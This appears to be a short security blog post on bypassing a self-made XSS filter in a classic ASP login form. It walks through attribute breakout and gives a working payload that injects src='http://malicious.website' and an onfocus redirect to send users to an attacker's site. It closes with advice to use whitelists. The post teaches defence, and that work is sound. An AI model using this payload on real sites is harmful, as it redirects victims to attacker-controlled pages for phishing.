The login page of this web application has a feature where the userid could be pre-set on the login form. Let's take this example:

Request: login.asp?userid=EvilXSS

[...]
<form>
  <input type="text" name="userid" value="<%= customXSSFilter(Request.QueryString("userid")) %>">
[...]

Closing the input tag isn't an option, as the needed character is encoded by customXSSFilter(). As double-quotes aren't encoded, we could close the value attribute without troubles and therefore execute CSS Expressions if the victim is running IE below version 8. But the aim is to find a proof of concept that code can be executed on any browser.

Instead of adding a style attribute with our JavaScript payload, we'll add an event where this will also be possible. Event onfocus works on the input tag and requires little user-interaction to get fired by the browser. But what kind of malicious action can we do, as ( and ) get encoded and are required for most of the JavaScript methods?

An action which doesn't require parenthesis to run is to redirect the user using location.href = [destination]. But specifying an URL in the injected event (such as " onfocus="location.href='http://target') doesn't work according to plan as single quotes are also encoded.

The trick relies on a specificity of the input tag, which allows an attribute named src for the case its type is button. As we can create as many attributes as wanted, we can finally inject the following payload onto the login page:

Request: login.asp?userid=EvilXSS" src="http://malicious.website" onfocus="location.href=this.src

HTML result:

[...]
<form>
  <input type="text" name="userid" value="EvilXSS" src="http://malicious.website" onfocus="location.href=this.src">
[...]

Morality: blacklist, especially self-made ones, are rubbish. Use only white lists or libraries written by security professionals.